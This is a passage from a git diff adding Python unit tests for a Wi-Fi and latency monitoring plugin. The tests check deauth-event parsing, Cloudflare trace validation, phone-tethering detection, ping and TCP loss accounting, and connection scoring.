+ def test_forged_and_junk_lines_are_ignored(self): + ev = self.feed([ + "4000.0: wlo1 (phy #0): unprotected deauth %s -> %s reason 7: x" + % (self.AP, self.ME), + "4000.1: wlo1 (phy #0): deauth %s -> %s reason 99999999: x" + % (self.AP, self.ME), + "4000.2: wlo1 (phy #0): deauth not-a-mac -> %s reason 2: x" % self.ME, + "garbage", "", "x" * 5000, + ]) + self.assertIsNone(ev.cause_for(self.AP, 4001.0, 1e9)) + + def test_untimestamped_lines_take_the_clock_given(self): + ev = NlEvents() + ev.consume("wlo1: deauth %s -> %s reason 3: Leaving" % (self.ME, self.AP), + now=5000.0) + ev.consume("wlo1: connected to %s" % self.NEW, now=5002.5) + c = ev.cause_for(self.AP, 5003.0, 10.0) + self.assertEqual((c["by_ap"], c["reason"]), (False, 3)) + self.assertAlmostEqual(c["gap_s"], 2.5, places=3) + + def test_follow_up_binds_to_the_newest_cause_only(self): + ev = self.feed([ + "6000.0: wlo1 (phy #0): deauth %s -> %s reason 2: x" % (self.AP, self.ME), + "6001.0: wlo1 (phy #0): auth %s -> %s status: 0: Successful" + % (self.NEW, self.ME), + "6002.0: wlo1 (phy #0): assoc %s -> %s status: 0: Successful" + % (self.NEW, self.ME), + ]) + self.assertAlmostEqual(ev.cause_for(self.AP, 6003.0, 10.0)["gap_s"], 1.0) + + def test_reason_words_depend_on_who_sent_it(self): + self.assertEqual(reason_text(4, True), "reason 4: inactivity") + self.assertEqual(reason_text(4, False), "reason 4: beacon loss") + self.assertEqual(reason_text(3, True), "reason 3: the AP is leaving") + self.assertEqual(reason_text(8, True), "reason 8: the AP is leaving the BSS") + self.assertEqual(reason_text(8, False), "reason 8: leaving the BSS") + self.assertIn("previous authentication", reason_text(2, True)) + self.assertEqual(reason_text(250, True), "reason 250") + + +class NlEventRecording(unittest.TestCase): + """A real kick, recorded with `iw event -t` on an Intel BE201 while the + gateway ran `iwpriv ra1 set DisConnectSta=`: the AP's + deauth, a scan, and the re-association on another radio 2.9 s later. + Addresses are substituted; timings and formats are as recorded.""" + + OLD = "02:11:22:33:44:01" + NEW = "02:11:22:33:44:05" + + def setUp(self): + path = Path(__file__).parent / "fixtures" / "iw-event.txt" + self.lines = path.read_text().splitlines() + self.events = NlEvents() + for line in self.lines: + self.events.consume(line) + + def test_recording_parses_as_an_ap_kick(self): + c = self.events.cause_for(self.OLD, 1788278083.0, 30.0) + self.assertEqual((c["by_ap"], c["reason"], c["frame"]), + (True, 8, "deauth")) + self.assertAlmostEqual(c["gap_s"], 2.93, places=1) + # The radio we landed on ended nothing. + self.assertIsNone(self.events.cause_for(self.NEW, 1788278083.0, 30.0)) + + def test_link_watch_logs_it_as_one_kick(self): + d = tempfile.TemporaryDirectory() + self.addCleanup(d.cleanup) + store = Store(Path(d.name) / "t.db") + self.addCleanup(store.close) + watch = LinkWatch(store, self.events) + watch.sample(1788278078.0, {"bssid": self.OLD, "ssid": "x", + "channel": 1, "signal_dbm": -30}) + watch.sample(1788278083.0, {"bssid": self.NEW, "ssid": "x", + "channel": 149, "signal_dbm": -40}) + # Read the log on the recording's own clock. store.events() windows + # on wall-clock now, so anchoring it anywhere else makes this test + # pass until the fixture is a week old and fail every day after. + evs = store.events(now=1788278083.0) + self.assertEqual([e["kind"] for e in evs], ["kick"]) + self.assertEqual( + evs[0]["detail"], + "Kicked by AP 02:11:22:33:44:01 (reason 8: the AP is leaving the " + "BSS), rejoined via 02:11:22:33:44:05 after 3 s, " + "channel 1 \u2192 149, -30 \u2192 -40 dBm") + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_net.py b/plugins/io.github.x3me.nexthop/test/test_net.py new file mode 100644 index 0000000..e0bde7b --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_net.py @@ -0,0 +1,167 @@ +"""Tests for net.py — iw parsing, the trace verdict, tethering, the connection-name cache. + +Run: python3 -m unittest discover -s test +""" + +import sys +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd import net # noqa: E402 +from nexthopd.net import nm_metered, tether_from_gateway # noqa: E402 +from support import FIXTURES # noqa: E402 + + +class IwParsing(unittest.TestCase): + def test_link_fixture(self): + raw = (FIXTURES / "iw-link.txt").read_text() + original = net._run + net._run = lambda cmd, timeout=2.0: raw + try: + info = net.wifi_link("wlo1") + finally: + net._run = original + self.assertEqual(info["ssid"], "Excitel") + self.assertEqual(info["freq_mhz"], 5180) # float in fixture, int out + self.assertEqual(info["signal_dbm"], -64) + self.assertEqual(info["band"], "5 GHz") + self.assertEqual(info["channel"], 36) + self.assertEqual(info["standard"], "802.11ax") + self.assertEqual(info["width_mhz"], 40) + + def test_channel_map(self): + self.assertEqual(net._freq_to_channel(2412), 1) + self.assertEqual(net._freq_to_channel(2484), 14) + self.assertEqual(net._freq_to_channel(5180), 36) + self.assertEqual(net._freq_to_channel(5955), 1) + + +class TraceParsing(unittest.TestCase): + """The cdn-cgi/trace response yields one validated address or nothing.""" + + def test_recorded_response(self): + # Recorded from a real fetch of speed.cloudflare.com/cdn-cgi/trace + # (address substituted): sixteen key=value lines, ip= among them. + text = (FIXTURES / "cf-trace.txt").read_text() + # The recorded fixture carries loc=XX (Cloudflare's "unknown"), so + # no country survives; its colo passes through validated. + self.assertEqual(net.parse_trace(text), + {"ip": "198.51.100.7", "family": "v4", + "edge": "XXX"}) + + def test_country_and_edge_come_free_with_the_address(self): + # Both are already in the response the reachability check fetches. + self.assertEqual( + net.parse_trace("ip=1.2.3.4\nloc=IN\ncolo=DEL\n"), + {"ip": "1.2.3.4", "family": "v4", + "country": "IN", "edge": "DEL"}) + + def test_unknown_country_is_withheld_not_shown(self): + # Cloudflare answers XX when it does not know. Showing a country + # called XX would be inventing one. + got = net.parse_trace("ip=1.2.3.4\nloc=XX\ncolo=DEL\n") + self.assertNotIn("country", got) + self.assertEqual(got["edge"], "DEL") + + def test_only_a_country_shaped_country_gets_out(self): + # Nothing free-form from the wire reaches the shell, same rule as + # the address itself. + for bad in ("in", "IND", "I", "I1", "", "\u00cd\u00d1"): + got = net.parse_trace("ip=1.2.3.4\nloc=%s\n" % bad) + self.assertNotIn("country", got, bad) + for bad in ("del", "D", "TOOLONG", "D3L", ""): + got = net.parse_trace("ip=1.2.3.4\ncolo=%s\n" % bad) + self.assertNotIn("edge", got, bad) + + def test_country_and_edge_never_stand_in_for_an_address(self): + # The address is the point; decoration alone is not a result. + self.assertIsNone(net.parse_trace("loc=IN\ncolo=DEL\n")) + self.assertIsNone(net.parse_trace("ip=nope\nloc=IN\ncolo=DEL\n")) + + def test_v6_is_labelled(self): + self.assertEqual(net.parse_trace("h=x\nip=2001:db8::7\nts=1\n"), + {"ip": "2001:db8::7", "family": "v6"}) + + def test_only_a_real_address_gets_out(self): + # Whatever else the response holds must never reach the shell. + self.assertIsNone(net.parse_trace("ip=not-an-ip\n")) + self.assertIsNone(net.parse_trace("ip=1.2.3.4.5\n")) + self.assertIsNone(net.parse_trace("h=x\nts=1\n")) + self.assertIsNone(net.parse_trace("")) + + def test_input_is_bounded_before_parsing(self): + # An ip= line beyond the size cap is as good as absent. + self.assertIsNone(net.parse_trace("x=" + "a" * 5000 + "\nip=1.2.3.4\n")) + self.assertIsNone(net.parse_trace("k=v\n" * 100 + "ip=1.2.3.4\n")) + + +class TetherDetection(unittest.TestCase): + """A phone sharing its data, from the one signal that is reliable.""" + + def test_the_documented_ranges(self): + self.assertEqual(tether_from_gateway("172.20.10.1"), + {"kind": "ios", "label": "iPhone"}) + self.assertEqual(tether_from_gateway("192.168.43.1")["kind"], "android") + self.assertEqual(tether_from_gateway("192.168.42.129")["kind"], + "android") + self.assertEqual(tether_from_gateway("192.168.137.1")["kind"], + "windows") + + def test_ordinary_gateways_are_not_phones(self): + # Including the hotel gateway that started this: 172.20.0.1 is close + # to the iOS range and outside it, so the /28 matters. + for gw in ("192.168.1.1", "172.20.0.1", "10.0.0.1", "172.20.11.1"): + self.assertIsNone(tether_from_gateway(gw), gw) + + def test_nothing_and_nonsense_are_not_phones(self): + for gw in ("", None, "not-an-ip", "999.1.1.1"): + self.assertIsNone(tether_from_gateway(gw)) + + def test_ipv6_gateway_does_not_raise(self): + self.assertIsNone(tether_from_gateway("fe80::1")) + + def test_a_guess_from_networkmanager_is_not_evidence(self): + # A live iPhone hotspot reports "no (guessed)", so only an explicit + # answer may count — and a guessed YES must not either. + import nexthopd.net as netmod + original = netmod._run + try: + for raw, expected in ( + ("GENERAL.METERED:yes", True), + ("GENERAL.METERED:yes (guessed)", False), + ("GENERAL.METERED:no", False), + ("GENERAL.METERED:no (guessed)", False), + ("", False), + (None, False), + ): + netmod._run = lambda *a, **k: raw + self.assertEqual(nm_metered("wlan0"), expected, raw) + finally: + netmod._run = original + + +class ConnectionNameCache(unittest.TestCase): + def test_nmcli_is_asked_on_a_new_key_or_after_the_ttl_only(self): + calls = [] + orig = net.connection_name + net.connection_name = lambda iface: calls.append(iface) or "Home" + net._name_cache.clear() + self.addCleanup(setattr, net, "connection_name", orig) + self.addCleanup(net._name_cache.clear) + key = ("wlo1", "192.168.1.1", "aa:bb") + self.assertEqual(net.connection_name_cached("wlo1", key, now=100), "Home") + self.assertEqual(net.connection_name_cached("wlo1", key, now=130), "Home") + self.assertEqual(len(calls), 1) + # A new gateway or BSSID is a new network: ask again. + net.connection_name_cached("wlo1", ("wlo1", "10.0.0.1", "aa:bb"), now=131) + self.assertEqual(len(calls), 2) + # ...and so is a rename the user made, eventually. + net.connection_name_cached("wlo1", ("wlo1", "10.0.0.1", "aa:bb"), + now=131 + net.NAME_CACHE_TTL_S + 1) + self.assertEqual(len(calls), 3) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_pathspark.py b/plugins/io.github.x3me.nexthop/test/test_pathspark.py new file mode 100644 index 0000000..6e7b569 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_pathspark.py @@ -0,0 +1,39 @@ +"""The sparkline geometry, checked in a real JS engine. + +`pathspark.js` is plain JavaScript beside the QML, which puts it outside +everything else in the battery: qmllint does not evaluate it and the +Python suite cannot import it. Two geometry defects shipped from it in a +single day — the ring on the wrong slot, then the ring drawn half outside +the canvas — and neither could have failed a test that existed. + +`draw()` takes a context and a size and calls nothing else, so a fake 2d +context recording every mark is enough. The harness is +`test/pathspark_bounds.js`; this runs it. Skipped where node is absent +(the runner-like PATH), so it is CI that enforces it. +""" +import shutil +import subprocess +import sys +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent)) +from support import REPO # noqa: E402 + +HARNESS = REPO / "test" / "pathspark_bounds.js" + + +class SparklineGeometry(unittest.TestCase): + def test_nothing_is_drawn_outside_the_canvas(self): + node = shutil.which("node") + if not node: + self.skipTest("node not on PATH") + r = subprocess.run([node, str(HARNESS)], capture_output=True, + text=True, timeout=60) + self.assertEqual(r.returncode, 0, + f"{r.stdout}\n{r.stderr}") + self.assertIn("all inside the canvas", r.stdout) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_probes.py b/plugins/io.github.x3me.nexthop/test/test_probes.py new file mode 100644 index 0000000..4793fc2 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_probes.py @@ -0,0 +1,441 @@ +"""Tests for probes.py — ping parsing, series statistics, load tagging, the TCP probe. + +Run: python3 -m unittest discover -s test +""" + +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd import score # noqa: E402 +from nexthopd.probes import ( # noqa: E402 + Series, + PingProbe, + TcpProbe, + RE_REPLY, + RE_PENDING, + RE_UNREACH) +from support import FIXTURES # noqa: E402 + + +class PingParsing(unittest.TestCase): + def test_reply_lines(self): + hits = [] + for line in (FIXTURES / "ping-replies.txt").read_text().splitlines(): + m = RE_REPLY.match(line) + if m: + hits.append((float(m.group(1)), int(m.group(2)), float(m.group(3)))) + self.assertEqual(len(hits), 5) + self.assertEqual(hits[0], (1787562260.703963, 1, 9.13)) + self.assertEqual(hits[2][2], 11.3) + + def test_loss_lines(self): + pending, unreach = 0, 0 + for line in (FIXTURES / "ping-losses.txt").read_text().splitlines(): + if RE_PENDING.match(line): + pending += 1 + elif RE_UNREACH.match(line): + unreach += 1 + self.assertEqual(pending, 6) + self.assertEqual(unreach, 1) + + def test_probe_consume_counts_loss_once(self): + """A seq reported pending, then unreachable, is one loss — not two.""" + s = Series() + p = PingProbe("192.0.2.1", s, 500) + p._consume("[100.0] no answer yet for icmp_seq=1\n") + p._consume("[100.5] no answer yet for icmp_seq=1\n") + p._consume("[101.0] From 10.0.0.1 icmp_seq=1 Destination Host Unreachable\n") + stats = Series.stats(s.all()) + self.assertEqual(stats["count"], 1) + self.assertEqual(stats["loss"], 1.0) + + def test_a_loss_charged_at_expiry_is_not_charged_again(self): + """The real recording, replayed whole. + + seq 1 goes unanswered, the grace period gives up on it, and the + gateway's Destination Host Unreachable for that same seq arrives + 0.35 s after that. One packet left, so one loss is recorded. Before + this, the series held two — and overcharging is the direction that + matters, because undercharging a loss is the safe error and this was + the other one. + """ + s = Series() + p = PingProbe("192.0.2.1", s, 500) + for line in (FIXTURES / "ping-losses.txt").read_text().splitlines(): + p._consume(line + "\n") + rows = s.all() + self.assertEqual(len(rows), 1) + self.assertIsNone(rows[0][1]) + + def test_a_reply_after_the_grace_period_adds_nothing(self): + """A packet already called lost cannot be un-lost by a late reply. + + The window it belonged to has been read and scored. Recording the RTT + now would put two samples on the wire's one packet, and flatter the + sample count of every window that reads it. + """ + s = Series() + p = PingProbe("192.0.2.1", s, 500) + p._consume("[100.0] no answer yet for icmp_seq=4\n") + p._consume("[110.0] no answer yet for icmp_seq=9\n") # expires seq 4 + p._consume("[110.5] 64 bytes from 1.1.1.1: icmp_seq=4 ttl=60 time=9.0 ms\n") + rows = s.all() + self.assertEqual(len(rows), 1) + self.assertIsNone(rows[0][1]) + + def test_a_repeated_pending_line_cannot_recharge_a_lost_seq(self): + """`ping -O` repeats "no answer yet" for the same seq — the recording + does it for seq 5 — so a charged seq must not go back on the list.""" + s = Series() + p = PingProbe("192.0.2.1", s, 500) + p._consume("[100.0] no answer yet for icmp_seq=4\n") + p._consume("[110.0] no answer yet for icmp_seq=4\n") # charges it + p._consume("[110.5] no answer yet for icmp_seq=4\n") # must not re-arm + p._consume("[113.0] no answer yet for icmp_seq=4\n") # would re-charge + self.assertEqual(len(s.all()), 1) + + def test_a_new_ping_process_can_lose_seq_1_again(self): + """`ping` numbers from 1 on every respawn. + + Remembering a charged seq past the process that produced it would + suppress a genuine loss on the next one, which is the same defect + facing the other way. + """ + s = Series() + p = PingProbe("192.0.2.1", s, 500) + p._consume("[100.0] no answer yet for icmp_seq=1\n") + p._consume("[110.0] no answer yet for icmp_seq=9\n") # charges seq 1 + self.assertEqual(len(s.all()), 1) + p._reset_tracking() # ping respawned + p._consume("[200.0] no answer yet for icmp_seq=1\n") + p._consume("[210.0] no answer yet for icmp_seq=2\n") # charges it again + self.assertEqual(len(s.all()), 2) + + def test_the_charged_map_does_not_grow_without_bound(self): + """It is drained by the same clock that fills it.""" + s = Series() + p = PingProbe("192.0.2.1", s, 500) + for seq in range(1, 40): + p._consume("[%d.0] no answer yet for icmp_seq=%d\n" % (100 + seq, seq)) + self.assertLess(len(p._charged), 5) + self.assertLess(len(p._pending), 5) + + def test_probe_expires_silent_losses(self): + """A pending seq that never resolves is counted after the grace period.""" + s = Series() + p = PingProbe("192.0.2.1", s, 500) + p._consume("[100.0] no answer yet for icmp_seq=7\n") + # A reply for a later seq far past the grace window flushes it. + p._consume("[200.0] 64 bytes from 1.1.1.1: icmp_seq=9 ttl=60 time=5.0 ms\n") + stats = Series.stats(s.all()) + self.assertEqual(stats["count"], 2) + self.assertEqual(stats["loss"], 0.5) + + +class SynRetransmits(unittest.TestCase): + """A handshake rescued by a retransmitted SYN is loss, not latency. + + Found 2026-09-10 from the HopSense side and confirmed here in this + machine's own history: an internet-leg p95 sitting at 1032-1041 ms, + constant to within 1% across a twenty-minute episode, while p50 was + 5.5 ms and `lag_icmp` never left 12-22 ms. Congestion does not produce + the same number twenty times; a timer does. Folded through + `lag = p75 + 1.5 * jitter` those samples read as 473 ms of lag and took + Responsiveness to 26 on a link ICMP called healthy. + + The threshold is RELATIVE, and that is the whole design. `connect()` + returns one RTT after the SYN that survives, so a rescued handshake lands + at one RTO PLUS the path's own round trip — 1008 ms on an 8 ms path, + 1150 ms on a 150 ms one. A fixed cutoff would label a congestion spike on + an ordinary intercontinental path as a lost packet, which is a different + fault with a different owner. + """ + + def probe(self, baseline_ms=None, samples=None): + p = TcpProbe("192.0.2.1", Series(), 1.0) + if baseline_ms is not None: + n = p.RETRANSMIT_MIN_SAMPLES if samples is None else samples + for i in range(n): + p._recent.append((1000.0 + i, baseline_ms)) + return p + + def test_a_second_above_a_fast_path_is_a_retransmit(self): + p = self.probe(baseline_ms=8.5) + self.assertEqual(p._classify(1100.0, 1045.0), "retransmit") + self.assertEqual(p._classify(1100.0, 1004.0), "retransmit") + + def test_an_ordinary_round_trip_is_not(self): + p = self.probe(baseline_ms=8.5) + for rtt in (8.0, 45.0, 300.0, 899.0): + self.assertEqual(p._classify(1100.0, rtt), "reply", rtt) + + def test_a_congestion_spike_on_a_distant_path_stays_a_measurement(self): + """The case a fixed cutoff gets wrong. + + On a 150 ms path a real retransmit lands at ~1150 ms, so a 1045 ms + sample is 895 ms of something that is not a timer. 150-250 ms is + ordinary for a subscriber reaching another continent, so this band is + normal traffic rather than an edge case. + """ + p = self.probe(baseline_ms=150.0) + self.assertEqual(p._classify(1100.0, 1045.0), "reply") + self.assertEqual(p._classify(1100.0, 1150.0), "retransmit") + + def test_a_satellite_link_keeps_its_latency(self): + p = self.probe(baseline_ms=600.0) + self.assertEqual(p._classify(1100.0, 1045.0), "reply") + self.assertEqual(p._classify(1100.0, 1600.0), "retransmit") + + def test_before_a_baseline_it_is_neither(self): + # Inventing a loss and publishing a suspect latency are both claims. + p = self.probe(baseline_ms=8.5, + samples=TcpProbe.RETRANSMIT_MIN_SAMPLES - 1) + self.assertEqual(p._classify(1100.0, 1045.0), "unknown") + self.assertEqual(p._classify(1100.0, 8.0), "reply") + + def test_a_slow_path_bootstraps_instead_of_going_silent(self): + """The hazard in the third verdict, named. + + On a link whose real round trip is past the floor, every sample lands + unclassified. A baseline deque that only accepted classified samples + would never reach its minimum, so the instrument would stay + unclassified for ever — nothing recorded, count never growing, + `penalty()` returning None, and the bench able neither to seat it nor + to call it dead. Silent and unrankable, invisible because it is not + failing but merely absent. + """ + p = TcpProbe("192.0.2.1", Series(), 1.0) + verdicts = [] + for i in range(20): + v = p._classify(1000.0 + i, 1200.0) + verdicts.append(v) + if v in ("reply", "unknown"): + p._recent.append((1000.0 + i, 1200.0)) + self.assertEqual(set(verdicts[:p.RETRANSMIT_MIN_SAMPLES]), {"unknown"}) + self.assertEqual(set(verdicts[p.RETRANSMIT_MIN_SAMPLES:]), {"reply"}) + self.assertAlmostEqual(p._baseline_ms(1020.0), 1200.0) + + def test_retransmits_do_not_raise_the_bar_that_catches_them(self): + # Feeding them back would ratchet the threshold up on the + # instrument's own retransmits and the rule would stop firing. + p = TcpProbe("192.0.2.1", Series(), 1.0) + for i in range(10): + p._recent.append((1000.0 + i, 8.5)) + for i, rtt in enumerate((1045.0, 8.6, 1044.0, 8.4, 1046.0)): + v = p._classify(1010.0 + i, rtt) + if v == "reply": + p._recent.append((1010.0 + i, rtt)) + self.assertAlmostEqual(p._baseline_ms(1015.0), 8.5, places=1) + self.assertEqual(p._classify(1015.0, 1045.0), "retransmit") + + def test_the_baseline_window_is_a_duration_not_a_count(self): + # An instrument benched to a slower cadence would otherwise have + # "recent" silently mean a longer stretch of wall clock. + p = TcpProbe("192.0.2.1", Series(), 1.0) + for i in range(20): + p._recent.append((1000.0 + i, 8.5)) + self.assertIsNotNone(p._baseline_ms(1020.0)) + self.assertIsNone(p._baseline_ms(1020.0 + TcpProbe.RETRANSMIT_WINDOW_S)) + + def test_the_window_matches_what_the_bench_ranks_on(self): + """"Recent" means one thing across the daemon. + + These are aliases of the same constants now, so this passes by + construction — and it is kept for exactly that reason. What it catches + is someone replacing an alias with a literal, which is the drift it was + written against in the first place. + """ + from nexthopd.instruments import Bench + self.assertEqual(TcpProbe.RETRANSMIT_WINDOW_S, Bench.WINDOW_S) + self.assertEqual(TcpProbe.RETRANSMIT_MIN_SAMPLES, Bench.MIN_SAMPLES) + + def test_an_even_count_takes_the_mean_of_the_middle_two(self): + """Pinned because a port has to choose, and the choice is invisible. + + Rust has no `statistics.median`, so HopSense had to pick a convention + for an even sample count and matched this one. Left unpinned, the two + runtimes would differ by one sample's worth of RTT in a baseline + nobody ever looks at, for ever. + """ + p = TcpProbe("192.0.2.1", Series(), 1.0) + for i, rtt in enumerate((10.0, 20.0, 30.0, 40.0)): + p._recent.append((1000.0 + i, rtt)) + p.RETRANSMIT_MIN_SAMPLES = 4 + self.assertAlmostEqual(p._baseline_ms(1010.0), 25.0) + + def test_the_deque_is_bounded_however_long_the_probe_runs(self): + # The window bounds what is READ; the deque bounds what is HELD, and a + # probe outlives many windows. + p = TcpProbe("192.0.2.1", Series(), 1.0) + for i in range(3072): + p._recent.append((1000.0 + i, 8.5)) + self.assertLessEqual(len(p._recent), 1024) + + def test_the_floor_is_consulted_before_the_baseline_ever_is(self): + # Below the floor nothing is reclassified, baseline or no baseline. + p = TcpProbe("192.0.2.1", Series(), 1.0) + self.assertEqual(p._classify(1000.0, 899.9), "reply") + self.assertEqual(p._classify(1000.0, 900.0), "unknown") + + def test_a_baseline_needs_the_full_count_and_not_one_fewer(self): + p = TcpProbe("192.0.2.1", Series(), 1.0) + for i in range(TcpProbe.RETRANSMIT_MIN_SAMPLES - 1): + p._recent.append((1000.0 + i, 8.5)) + self.assertIsNone(p._baseline_ms(1010.0)) + p._recent.append((1010.0, 8.5)) + self.assertIsNotNone(p._baseline_ms(1010.0)) + + def test_the_two_retransmit_case_was_already_loss(self): + """Why the old boundary was arbitrary. + + Two retransmits wait 1 s + 2 s, which is past CONNECT_TIMEOUT_S, so + that handshake already timed out and was recorded as loss. One + retransmit came back inside the timeout and was recorded as latency. + The same event, accounted two opposite ways, and the line between them + was wherever the timeout happened to fall. + """ + self.assertLess(TcpProbe.CONNECT_TIMEOUT_S * 1000.0, 3000.0) + self.assertLess(TcpProbe.RETRANSMIT_MARGIN_MS, + TcpProbe.CONNECT_TIMEOUT_S * 1000.0) + + +class Stats(unittest.TestCase): + def test_empty_and_all_lost(self): + self.assertEqual(Series.stats([])["count"], 0) + s = Series.stats([(0, None), (1, None)]) + self.assertEqual(s["loss"], 1.0) + self.assertIsNone(s["p50"]) + + def test_jitter_is_ipdv_not_stdev(self): + # 10/40 alternation: IPDV is 30, stdev would be ~15. + samples = [(i, 10.0 if i % 2 == 0 else 40.0) for i in range(10)] + self.assertEqual(Series.stats(samples)["jitter"], 30.0) + + def test_window_eviction(self): + s = Series(window_s=10) + now = time.time() + s.add(now - 20, 5.0) + s.add(now, 6.0) + self.assertEqual(len(s.all()), 1) + + +class LoadTagging(unittest.TestCase): + """Idle vs loaded latency, from the same probe stream. + + The gap between them is bufferbloat — the failure a plain latency + number misses, where a line answers in 15 ms at rest and 300 ms + whenever anyone uses it. + """ + + def test_samples_carry_the_link_state_they_saw(self): + s = Series() + now = time.time() + s.add(now, 12.0) # default: idle + s.add(now + 1, 250.0, True) # under load + idle, loaded = Series.split_by_load(s.all()) + self.assertEqual(len(idle), 1) + self.assertEqual(len(loaded), 1) + self.assertEqual(idle[0][1], 12.0) + self.assertEqual(loaded[0][1], 250.0) + + def test_two_element_samples_still_read_as_idle(self): + # Anything holding the old sample shape must not raise. + idle, loaded = Series.split_by_load([(0.0, 10.0), (1.0, None)]) + self.assertEqual(len(idle), 2) + self.assertEqual(loaded, []) + self.assertEqual(Series.stats([(0.0, 10.0), (1.0, 30.0)])["p50"], 20.0) + + def test_bufferbloat_shows_as_inflation_between_the_two(self): + idle = [(float(i), 15.0, False) for i in range(20)] + loaded = [(float(i + 20), 300.0, True) for i in range(20)] + i_lag = score.lag_ms(Series.stats(idle)) + l_lag = score.lag_ms(Series.stats(loaded)) + self.assertLess(i_lag, 20) + self.assertGreater(l_lag, 250) + self.assertGreater(l_lag / i_lag, 10) + + def test_loss_is_still_counted_per_load_state(self): + samples = [(0.0, 10.0, False), (1.0, None, False), + (2.0, 40.0, True), (3.0, None, True), (4.0, None, True)] + idle, loaded = Series.split_by_load(samples) + self.assertAlmostEqual(Series.stats(idle)["loss"], 0.5) + self.assertAlmostEqual(Series.stats(loaded)["loss"], 2 / 3) + + def test_inflation_needs_enough_samples_on_both_sides(self): + import os as _os + from nexthopd.daemon import Daemon, MIN_LOAD_SPLIT_SAMPLES + with tempfile.TemporaryDirectory() as d: + _os.environ["XDG_STATE_HOME"] = d + try: + dm = Daemon() + try: + now = time.time() + # Plenty idle, only a couple loaded: no ratio yet. + for i in range(30): + dm.icmp_anchor.add(now - 60 + i, 15.0, False) + for i in range(MIN_LOAD_SPLIT_SAMPLES - 1): + dm.icmp_anchor.add(now - 5 + i * 0.1, 300.0, True) + b = dm.bufferbloat(300.0) + self.assertIsNotNone(b["idle"]) + self.assertIsNotNone(b["loaded"]) + self.assertIsNone(b["inflation"]) + # One more loaded sample and the comparison is allowed. + dm.icmp_anchor.add(now, 300.0, True) + b = dm.bufferbloat(300.0) + self.assertIsNotNone(b["inflation"]) + self.assertGreater(b["inflation"], 5) + finally: + dm.store.close() + finally: + del _os.environ["XDG_STATE_HOME"] + + def test_probe_tags_from_its_predicate_and_never_raises(self): + from nexthopd.probes import PingProbe + s = Series() + state = {"busy": False} + p = PingProbe("192.0.2.1", s, 500, "t", loaded_fn=lambda: state["busy"]) + self.assertFalse(p._loaded()) + state["busy"] = True + self.assertTrue(p._loaded()) + # A predicate that blows up must not take the probe with it. + broken = PingProbe("192.0.2.1", s, 500, "t", + loaded_fn=lambda: 1 / 0) + self.assertFalse(broken._loaded()) + + +class TcpProbeBehaviour(unittest.TestCase): + """The TCP-handshake instruments beside ICMP. + + ICMP is answered by fast paths in hardware and can be spoofed by + anything on the way; a handshake to port 443 has to reach a listener + that completes it. Since 0.2.0 these are seated instruments in the + bench (instruments.py), not a comparison probe on the side. + """ + + def test_tcp_probe_records_a_failure_rather_than_raising(self): + from nexthopd.probes import TcpProbe + s = Series() + # Reserved-for-documentation address; nothing answers. + p = TcpProbe("192.0.2.1", s, 1.0, "t", port=9) + p.CONNECT_TIMEOUT_S = 0.25 + p._once() + self.assertEqual(len(s.all()), 1) + self.assertIsNone(s.all()[0][1]) + self.assertFalse(p.ever_connected) + + def test_tcp_probe_tags_load_like_the_ping_probe(self): + from nexthopd.probes import TcpProbe + s = Series() + p = TcpProbe("192.0.2.1", s, 1.0, "t", loaded_fn=lambda: True, port=9) + p.CONNECT_TIMEOUT_S = 0.25 + p._once() + self.assertTrue(s.all()[0][2]) + + +if __name__ == "__main__": + unittest.main() diff --git a/plugins/io.github.x3me.nexthop/test/test_score.py b/plugins/io.github.x3me.nexthop/test/test_score.py new file mode 100644 index 0000000..d0a5921 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/test/test_score.py @@ -0,0 +1,531 @@ +"""Tests for score.py — the anchor tables, the folds, and the wrong-direction sweep. + +Run: python3 -m unittest discover -s test +""" + +import sys +import tempfile +import time +import unittest +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) + +from nexthopd import score # noqa: E402 + + +class Scoring(unittest.TestCase): + def test_lag_charges_for_loss(self): + clean = {"count": 100, "loss": 0.0, "p75": 10.0, "jitter": 1.0} + lossy = {"count": 100, "loss": 0.02, "p75": 10.0, "jitter": 1.0} + self.assertGreater(score.lag_ms(lossy), score.lag_ms(clean) + 15) + + def test_score_bands(self): + self.assertEqual(score.band(94), "excellent") + self.assertEqual(score.band(85), "good") + self.assertEqual(score.band(74), "okay") + self.assertEqual(score.band(55), "fair") + self.assertEqual(score.band(10), "poor") + self.assertEqual(score.band(None), "unknown") + + def test_index_skips_unknown_components(self): + # Weakest-link: 90 owns the number, 100 nudges it up slightly. + self.assertEqual(score.index(90.0, 100.0, None), 91) + self.assertIsNone(score.index(None, None, None)) + # A single measurable component is that component. + self.assertEqual(score.index(None, 73.0, None), 73) + + def test_index_does_not_let_good_components_mask_a_broken_one(self): + # A line whose calls do not work, with a fast download and no + # outages. The mean called this 78 ("okay"); the bottleneck is 40. + idx = score.index(40.0, 100.0, 95.0) + self.assertLess(idx, 50) + self.assertEqual(score.band(idx), "poor") + + def test_index_still_rewards_an_otherwise_excellent_connection(self): + # All three healthy: the number stays where the components are. + self.assertGreaterEqual(score.index(96.0, 100.0, 94.0), 94) + + def test_index_ties_do_not_lose_a_component(self): + self.assertEqual(score.index(70.0, 70.0, 70.0), 70) + + def test_loss_costs_the_same_as_before_on_an_ordinary_link(self): + # The flat 1000 ms/unit-loss was right for normal round trips, so + # nothing changes for them — only the shape above the RTO floor. + for p75 in (5.0, 15.0, 40.0, 66.0): + self.assertEqual(score.loss_cost_ms(p75), 1000.0) + + def test_loss_costs_more_on_a_high_latency_link(self): + # A retransmit on a 600 ms link is not the same 10 ms per percent + # that it is on fibre. + self.assertGreater(score.loss_cost_ms(600.0), + score.loss_cost_ms(15.0) * 5) + fibre = score.lag_ms({"count": 100, "p75": 15.0, "jitter": 3.0, + "loss": 0.01}) + sat = score.lag_ms({"count": 100, "p75": 600.0, "jitter": 30.0, + "loss": 0.01}) + 